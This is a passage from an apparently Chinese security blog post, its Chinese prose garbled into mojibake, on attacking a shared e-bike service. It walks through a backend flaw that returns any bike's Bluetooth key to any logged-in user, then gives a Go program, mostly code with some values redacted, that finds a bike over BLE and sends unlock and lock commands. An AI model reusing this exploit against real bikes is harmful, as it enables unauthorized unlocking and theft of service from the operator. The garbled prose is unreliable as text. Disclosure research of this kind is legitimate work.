¥å <code>o</code>ï¼å°±æ¯ä¸é¢ <code>operateBluetooth</code> ç第äºä¸ªåæ° <code>t</code>ï¼ä¹å°±æ¯è½¦è¾çç¼å·ãè¿ä¸ªå½æ°å¨è¯·æ±æå¡ç«¯è·åå½å车è¾çç§é¥ï¼
æ±çè¯ä¸è¯çæ³æ³ï¼ææé äºä¸è¯·æ±ï¼ç¬¬ä¸ä¸ª <code>token</code> åæ°æ¯å°ç¨åºæå
å¾å°çå½åç¨æ·ç»å½åè·å¾ç Tokenï¼<code>userCode</code> ä¼ å
¥çµå车ç¼å·…… ç»æå±
ç¶ççæåç»æè¿å车è¾çç§é¥ã
æåç¨è½¦è¾å®ä½çæ¥å£è·åäºå
¶å®ç车è¾ç¼å·ä¼ å
¥è¿ä¸ªæ¥å£ï¼å±
ç¶ä¹è½è¿åç»æ对åºè½¦è¾çç§é¥ãä¹å°±æ¯å®å端å®å
¨æ²¡ææ ¡éªè¯¥è½¦æ¯å¦ä¸ºè¢«æç§åçç¶æï¼æå¯ä»¥è¯·æ±æ¥å£æ¿ä»»æ车çç§é¥å¼éã
å¯è§å®è¯¥é²ç没é²ä½ï¼æ以ææ称ä¹ä¸ºâ纸èèâã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>getSecretKey<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#ff7b72">function</span>(o) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> e <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">this</span>;
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#ff7b72">new</span> Promise(<span style="color:#ff7b72">function</span>(a, n) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> l <span style="color:#ff7b72;font-weight:bold">=</span> e.globalData.baseUrl <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">"/machine/getBleSecret.do"</span>;
</span></span><span style="display:flex;"><span> e.checkToken(<span style="color:#ff7b72">function</span>(e) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (e.length <span style="color:#ff7b72;font-weight:bold">></span> <span style="color:#a5d6ff">0</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> n <span style="color:#ff7b72;font-weight:bold">=</span> {
</span></span><span style="display:flex;"><span> token<span style="color:#ff7b72;font-weight:bold">:</span> e,
</span></span><span style="display:flex;"><span> userCode<span style="color:#ff7b72;font-weight:bold">:</span> o
</span></span><span style="display:flex;"><span> };
</span></span><span style="display:flex;"><span> t.request(l, n, <span style="color:#ff7b72">function</span>(o) {
</span></span><span style="display:flex;"><span> console.log(<span style="color:#a5d6ff">"è·åçç§é¥"</span>, o.data), a(o.data);
</span></span><span style="display:flex;"><span> });
</span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> wx.hideToast();
</span></span><span style="display:flex;"><span> });
</span></span><span style="display:flex;"><span> });
</span></span><span style="display:flex;"><span> },
</span></span></code></pre></div><h2 id="åæ¯-ble">åæ¯ BLE</h2>
<p>æ¿å°äºè½¦è¾çç§é¥ï¼å©ä¸ç就好åäºãæ们继ç»è· <code>a.bluetooth.start</code> å½æ°ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">this</span>.start <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">function</span>(e, n, c, l) {
</span></span><span style="display:flex;"><span> A(), i <span style="color:#ff7b72;font-weight:bold">=</span> e, M <span style="color:#ff7b72;font-weight:bold">=</span> c, C <span style="color:#ff7b72;font-weight:bold">=</span> l, t.log(n, o, <span style="color:#a5d6ff">"operate:"</span>, i), W(<span style="color:#ff7b72">function</span>() {
</span></span><span style="display:flex;"><span> n <span style="color:#ff7b72;font-weight:bold">==</span> o <span style="color:#ff7b72;font-weight:bold">&&</span> r <span style="color:#ff7b72;font-weight:bold">&&</span> i <span style="color:#ff7b72;font-weight:bold">?</span> R() <span style="color:#ff7b72;font-weight:bold">:</span> (o <span style="color:#ff7b72;font-weight:bold">=</span> n, r <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#79c0ff">null</span>, O());
</span></span><span style="display:flex;"><span> });
</span></span></code></pre></div><p>å
¶ä¸ e = “open” å符串ï¼n = 车è¾ç¼å·ï¼c = ä¸é¢æ¿å°ç车è¾ç§é¥ï¼l åæ¯ä¸ªæ§è¡æååçåè°å½æ°ã<code>W</code> å½æ°è°ç¨å¾®ä¿¡å°ç¨åº SDK ä¸ç <code>wx.openBluetoothAdapter</code> æ¹æ³åå§åèçï¼ä¹åçä¸å
è¿ç®ç¬¦è¿å
¥ <code>O</code> å½æ°ï¼<code>O</code> è°ç¨ <code>F</code> å½æ°ï¼<code>F</code> å½æ°å¼å§æç´¢èç设å¤ã
æä¸çï¼å¥½å®¶ä¼ï¼è¿ä¸æ¯è·æåå¹´æå¾å°ç±³æç¯è·åå¿è·³çæç« ä¸æ ·åï¼<a href="https://github.red/miband-heart-rate/" title="https://github.red/miband-heart-rate/">https://github.red/miband-heart-rate/</a>ï¼ï¼è¿å
±äº«çµå车ä¹æ¯ä½¿ç¨çèç BLE åè®®ã
ç´æ¥ä¸ Go ç <code>github.com/JuulLabs-OSS/ble</code> åºï¼æå¦ä¸æ¥éª¤ä¸ææ¢ã</p>
<ol>
<li>æ索设å¤</li>
<li>æç´¢ Services</li>
<li>æç´¢ Characteristics</li>
<li>订é
ï¼è¯»åæ¶æ¯</li>
</ol>
<h3 id="æ索设å¤">æ索设å¤</h3>
<p>æé¦å
ä½¿ç¨ Bluetility æç´¢éè¿ç设å¤ï¼åç°æ²¡æ设å¤å类似å
±äº«çµå车ç设å¤ãçäºä¸å°ç¨åºæºç 设å¤åç°è¿åï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>wx.onBluetoothDeviceFound(<span style="color:#ff7b72">function</span>(n) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> l <span style="color:#ff7b72;font-weight:bold">=</span> n.devices[<span style="color:#a5d6ff">0</span>];
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (l <span style="color:#ff7b72;font-weight:bold">&&</span> l.advertisData <span style="color:#ff7b72;font-weight:bold">&&</span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72;font-weight:bold">!=</span> l.advertisData.byteLength) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> s <span style="color:#ff7b72;font-weight:bold">=</span> e.encrypt(e.ab2hex(l.advertisData).slice(<span style="color:#a5d6ff">4</span>, <span style="color:#a5d6ff">13</span>));
</span></span><span style="display:flex;"><span> t.log(<span style="color:#a5d6ff">"æç´¢å°ç设å¤ç¼å·ï¼"</span> <span style="color:#ff7b72;font-weight:bold">+</span> s <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">"ï¼ç®æ ï¼"</span> <span style="color:#ff7b72;font-weight:bold">+</span> o), s <span style="color:#ff7b72;font-weight:bold">==</span> o <span style="color:#ff7b72;font-weight:bold">&&</span> (Q(), clearInterval(c), c <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#79c0ff">null</span>,
</span></span><span style="display:flex;"><span> r <span style="color:#ff7b72;font-weight:bold">=</span> l.deviceId, t.log(<span style="color:#a5d6ff">"deviceId:"</span>, r), <span style="color:#a5d6ff">"open"</span> <span style="color:#ff7b72;font-weight:bold">==</span> i <span style="color:#ff7b72;font-weight:bold">||</span> <span style="color:#a5d6ff">"close"</span> <span style="color:#ff7b72;font-weight:bold">==</span> i <span style="color:#ff7b72;font-weight:bold">?</span> R() <span style="color:#ff7b72;font-weight:bold">:</span> C <span style="color:#ff7b72;font-weight:bold">&&</span> C(<span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#a5d6ff">0</span>));
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> });
</span></span></code></pre></div><p>å¯ä»¥çå°å®å°èç设å¤ç <code>advertisData</code>ï¼è¿ç®åä¸<code>start</code> å½æ°ä¸è®¾ç½®ç <code>o</code> åéï¼è½¦è¾ç¼å·ï¼è¿è¡æ¯è¾ï¼å¦æç¸åå表æè¿ä¸ªè®¾å¤æ¯æ们è¦æ¾ç对åºç¼å·çå
±äº«çµå车ã
è¿ä¸ª <code>advertisData</code> çè¿ç®åæ¯ <code>encrypt</code> åæ¯ <code>ab2hex</code>ï¼æç´æ¥å
¨é¨åç» GPT-4 让å
¶ç»æçæ对åºç Go 代ç ï¼é¡ºä¾¿å让ä»å¸®å¿çæä¸ä¸ <code>decrypt</code> å <code>hex2ab</code> å½æ°ä¾æåæ¨éªè¯ãæ´ä¸ªè¿ç¨ååèæã</p>
<h3 id="æç´¢-services">æç´¢ Services</h3>
<p>è¿ä¸è®¾å¤åï¼æ ¹æ®å°ç¨åºæºç ï¼é
åä½¿ç¨ Bluetilityï¼æ们éè¦æç´¢ <code>fef6</code> è¿ä¸ª Servicesã</p>
<h3 id="æç´¢-characteristics">æç´¢ Characteristics</h3>
<p>ä½¿ç¨ Bluetilityï¼æ们è½å¾åºåªä¸ª Characteristics æ¯åªè¯»çï¼åªä¸ªæ¯å¯åçãæ们å¾å¯åçéåéæ°æ®ã</p>
<h3 id="åéæ°æ®">åéæ°æ®</h3>
<p>è¿æ¥æååï¼é¦å
æ¯æ§è¡ <code>N</code> å½æ°ï¼åè° <code>P</code> å½æ°ã<code>N</code> å½æ°ä¸è°äº <code>G</code> å½æ°ï¼ç¶åè°äº <code>H</code> å½æ°ï¼åé¢æç¨äº <code>j</code> å½æ°ï¼åå
åéæ°æ®ãè¿éæ¯ç¬¬ä¸æ¬¡è¿æ¥çæ¶åçæ¡æå
ãæ ¹æ® JavaScript 代ç æé 对åºç Go <code>[]byte</code> å³å¯ã
æ¡æç»æååè°ç <code>P</code> å½æ°åéå¼éå½ä»¤ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>P <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">function</span> o(c) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> r <span style="color:#ff7b72;font-weight:bold">=</span> e.getSequenceId(u);
</span></span><span style="display:flex;"><span> u<span style="color:#ff7b72;font-weight:bold">++</span>;
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> l <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">""</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"open"</span> <span style="color:#ff7b72;font-weight:bold">===</span> c <span style="color:#ff7b72;font-weight:bold">?</span> l <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">"03 00 02 01 00"</span> <span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">"close"</span> <span style="color:#ff7b72;font-weight:bold">===</span> c <span style="color:#ff7b72;font-weight:bold">&&</span> (l <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">"03 00 01 01 01"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> s <span style="color:#ff7b72;font-weight:bold">=</span> e.header(l, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">"00"</span>, r) <span style="color:#ff7b72;font-weight:bold">+</span> l.replace(<span style="color:#79c0ff">/\s+/g</span>, <span style="color:#a5d6ff">""</span>);
</span></span><span style="display:flex;"><span> t.log(<span style="color:#a5d6ff">"åé"</span> <span style="color:#ff7b72;font-weight:bold">+</span> c <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">"æ令"</span>, s), K(s), I <span style="color:#ff7b72;font-weight:bold">=</span> setTimeout(<span style="color:#ff7b72">function</span>() {
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72;font-weight:bold">==</span> B <span style="color:#ff7b72;font-weight:bold">?</span> (t.log(<span style="color:#a5d6ff">"设å¤æªååºï¼èªå¨éå"</span>), B<span style="color:#ff7b72;font-weight:bold">++</span>, o(i)) <span style="color:#ff7b72;font-weight:bold">:</span> (t.log(<span style="color:#a5d6ff">"设å¤æªååº"</span>), wx.hideLoading(), n.showModal(<span style="color:#a5d6ff">"设å¤æªååºï¼æ¯å¦éæ°åéæ令ï¼"</span>, <span style="color:#ff7b72">function</span>() {
</span></span><span style="display:flex;"><span> t.log(<span style="color:#a5d6ff">"æå¨éåctrl"</span>), wx.showLoading({
</span></span><span style="display:flex;"><span> title<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">"å¼éä¸"</span>
</span></span><span style="display:flex;"><span> }), o(i);
</span></span><span style="display:flex;"><span> }, <span style="color:#ff7b72">function</span>() {
</span></span><span style="display:flex;"><span> t.end(<span style="color:#ff7b72">function</span>() {
</span></span><span style="display:flex;"><span> C <span style="color:#ff7b72;font-weight:bold">&&</span> C(<span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#a5d6ff">1</span>);
</span></span><span style="display:flex;"><span> });
</span></span><span style="display:flex;"><span> }));
</span></span><span style="display:flex;"><span> }, <span style="color:#a5d6ff">5e3</span>);
</span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>å¯ä»¥çå°æ¼æ¥å¥½çæ¶æ¯ä½ <code>s</code> åéä¼ å
¥äº <code>K</code> å½æ°è¿è¡å符串转åå
è¿å¶ï¼ç¶ååå
åéã
综ä¸æè¿°ï¼æç»ç Go 代ç å¦ä¸ï¼ç¸å
³æ°æ®å
以ååéå
容已ç»éå»ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Copyright 2023 E99p1ant. All rights reserved.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> (
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"context"</span>
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"fmt"</span>
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"os"</span>
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"strings"</span>
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"time"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"github.com/JuulLabs-OSS/ble"</span>
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"github.com/JuulLabs-OSS/ble/darwin"</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">var</span> r = []<span style="color:#ff7b72">rune</span>{<span style="color:#a5d6ff">53</span>, <span style="color:#a5d6ff">'R'</span>, <span style="color:#a5d6ff">'E'</span>, <span style="color:#a5d6ff">'D'</span>, <span style="color:#a5d6ff">'A'</span>, <span style="color:#a5d6ff">'C'</span>, <span style="color:#a5d6ff">'T'</span>, <span style="color:#a5d6ff">'E'</span>, <span style="color:#a5d6ff">'D'</span>, <span style="color:#a5d6ff">57</span>, <span style="color:#a5d6ff">69</span>, <span style="color:#a5d6ff">56</span>, <span style="color:#a5d6ff">70</span>, <span style="color:#a5d6ff">55</span>, <span style="color:#a5d6ff">52</span>, <span style="color:#a5d6ff">49</span>, <span style="color:#a5d6ff">48</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">encrypt</span>(t <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">string</span> {
</span></span><span style="display:flex;"><span> t = strings.<span style="color:#d2a8ff;font-weight:bold">ToUpper</span>(t)
</span></span><span style="display:flex;"><span> e <span style="color:#ff7b72;font-weight:bold">:=</span> len(t)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> e > <span style="color:#a5d6ff">16</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">""</span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> buffer strings.Builder
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> a <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#a5d6ff">0</span>; a < e; a<span style="color:#ff7b72;font-weight:bold">++</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> o <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#a5d6ff">0</span>; o < <span style="color:#a5d6ff">16</span>; o<span style="color:#ff7b72;font-weight:bold">++</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> rune(t[a]) <span style="color:#ff7b72;font-weight:bold">==</span> r[o] { <span style="color:#8b949e;font-style:italic">// assuming r is defined somewhere as an array</span>
</span></span><span style="display:flex;"><span> buffer.<span style="color:#d2a8ff;font-weight:bold">WriteRune</span>(rune(<span style="color:#a5d6ff">42</span> <span style="color:#ff7b72;font-weight:bold">+</span> o))
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> buffer.<span style="color:#d2a8ff;font-weight:bold">String</span>()
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">ab2hex</span>(t []<span style="color:#ff7b72">byte</span>) <span style="color:#ff7b72">string</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> hexStr <span style="color:#ff7b72">string</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, b <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> t {
</span></span><span style="display:flex;"><span> hexStr <span style="color:#ff7b72;font-weight:bold">+=</span> fmt.<span style="color:#d2a8ff;font-weight:bold">Sprintf</span>(<span style="color:#a5d6ff">"%02x"</span>, b)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> hexStr
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">const</span> machineNo = <span style="color:#a5d6ff">"[REDACTED]"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">main</span>() {
</span></span><span style="display:flex;"><span> mode <span style="color:#ff7b72;font-weight:bold">:=</span> os.Args[<span style="color:#a5d6ff">1</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> d, err <span style="color:#ff7b72;font-weight:bold">:=</span> darwin.<span style="color:#d2a8ff;font-weight:bold">NewDevice</span>()
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> panic(<span style="color:#a5d6ff">"new device"</span>)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> ble.<span style="color:#d2a8ff;font-weight:bold">SetDefaultDevice</span>(d)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> ctx <span style="color:#ff7b72;font-weight:bold">:=</span> context.<span style="color:#d2a8ff;font-weight:bold">Background</span>()
</span></span><span style="display:flex;"><span> client, err <span style="color:#ff7b72;font-weight:bold">:=</span> ble.<span style="color:#d2a8ff;font-weight:bold">Connect</span>(ctx, <span style="color:#ff7b72">func</span>(a ble.Advertisement) <span style="color:#ff7b72">bool</span> {
</span></span><span style="display:flex;"><span> manufacturerData <span style="color:#ff7b72;font-weight:bold">:=</span> a.<span style="color:#d2a8ff;font-weight:bold">ManufacturerData</span>()
</span></span><span style="display:flex;"><span> hexStr <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#d2a8ff;font-weight:bold">ab2hex</span>(manufacturerData)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> len(hexStr) < <span style="color:#a5d6ff">13</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> slicedStr <span style="color:#ff7b72;font-weight:bold">:=</span> hexStr[<span style="color:#a5d6ff">4</span>:<span style="color:#a5d6ff">13</span>]
</span></span><span style="display:flex;"><span> encryptedStr <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#d2a8ff;font-weight:bold">encrypt</span>(slicedStr)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> encryptedStr <span style="color:#ff7b72;font-weight:bold">==</span> machineNo {
</span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Printf</span>(<span style="color:#a5d6ff">"%s - %s - %s\n"</span>, a.<span style="color:#d2a8ff;font-weight:bold">LocalName</span>(), a.<span style="color:#d2a8ff;font-weight:bold">Addr</span>().<span style="color:#d2a8ff;font-weight:bold">String</span>(), encryptedStr)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">true</span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span>
</span></span><span style="display:flex;"><span> })
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> panic(err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> services, err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">DiscoverServices</span>(<span style="color:#79c0ff">nil</span>)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> panic(err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> targetService <span style="color:#ff7b72;font-weight:bold">*</span>ble.Service
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, service <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> services {
</span></span><span style="display:flex;"><span> service <span style="color:#ff7b72;font-weight:bold">:=</span> service
</span></span><span style="display:flex;"><span> uuid <span style="color:#ff7b72;font-weight:bold">:=</span> service.UUID.<span style="color:#d2a8ff;font-weight:bold">String</span>()
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> uuid <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">"fef6"</span> {
</span></span><span style="display:flex;"><span> targetService = service
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> characteristics, err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">DiscoverCharacteristics</span>(<span style="color:#79c0ff">nil</span>, targetService)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> panic(err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> readCharacteristic <span style="color:#ff7b72;font-weight:bold">*</span>ble.Characteristic
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> writeCharacteristic <span style="color:#ff7b72;font-weight:bold">*</span>ble.Characteristic
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, characteristic <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> characteristics {
</span></span><span style="display:flex;"><span> characteristic <span style="color:#ff7b72;font-weight:bold">:=</span> characteristic
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> characteristic.Property <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">18</span> {
</span></span><span style="display:flex;"><span> readCharacteristic = characteristic
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> characteristic.Property <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">22</span> {
</span></span><span style="display:flex;"><span> writeCharacteristic = characteristic
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// 18 - read, 20 - write</span>
</span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Println</span>(characteristic.UUID.<span style="color:#d2a8ff;font-weight:bold">String</span>())
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">Subscribe</span>(readCharacteristic, <span style="color:#79c0ff">false</span>, <span style="color:#ff7b72">func</span>(req []<span style="color:#ff7b72">byte</span>) {
</span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Println</span>(<span style="color:#a5d6ff">"response: "</span> <span style="color:#ff7b72;font-weight:bold">+</span> string(req))
</span></span><span style="display:flex;"><span> }); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> panic(err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> unlock <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">byte</span>{<span style="color:#a5d6ff">170</span>, <span style="color:#a5d6ff">'R'</span>, <span style="color:#a5d6ff">'E'</span>, <span style="color:#a5d6ff">'D'</span>, <span style="color:#a5d6ff">'A'</span>, <span style="color:#a5d6ff">'C'</span>, <span style="color:#a5d6ff">'T'</span>, <span style="color:#a5d6ff">'E'</span>, <span style="color:#a5d6ff">'D'</span>, <span style="color:#a5d6ff">3</span>, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">2</span>, <span style="color:#a5d6ff">1</span>, <span style="color:#a5d6ff">0</span>}
</span></span><span style="display:flex;"><span> lock <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">byte</span>{<span style="color:#a5d6ff">170</span>, <span style="color:#a5d6ff">'R'</span>, <span style="color:#a5d6ff">'E'</span>, <span style="color:#a5d6ff">'D'</span>, <span style="color:#a5d6ff">'A'</span>, <span style="color:#a5d6ff">'C'</span>, <span style="color:#a5d6ff">'T'</span>, <span style="color:#a5d6ff">'E'</span>, <span style="color:#a5d6ff">'D'</span>, <span style="color:#a5d6ff">3</span>, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">1</span>, <span style="color:#a5d6ff">1</span>, <span style="color:#a5d6ff">1</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> heartBeats <span style="color:#ff7b72;font-weight:bold">:=</span> [][]<span style="color:#ff7b72">byte</span>{
</span></span><span style="display:flex;"><span> {<span style="color:#a5d6ff">170</span>, <span style="color:#a5d6ff">'R'</span>, <span style="color:#a5d6ff">'E'</span>, <span style="color:#a5d6ff">'D'</span>, <span style="color:#a5d6ff">'A'</span>, <span style="color:#a5d6ff">'C'</span>, <span style="color:#a5d6ff">'T'</span>, <span style="color:#a5d6ff">'E'</span>, <span style="color:#a5d6ff">'D'</span>, <span style="color:#a5d6ff">2</span>, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">1</span>, <span style="color:#a5d6ff">32</span>, <span style="color:#a5d6ff">10</span>, <span style="color:#a5d6ff">172</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">246</span>, <span style="color:#a5d6ff">82</span>, <span style="color:#a5d6ff">185</span>, <span style="color:#a5d6ff">236</span>, <span style="color:#a5d6ff">169</span>, <span style="color:#a5d6ff">10</span>},
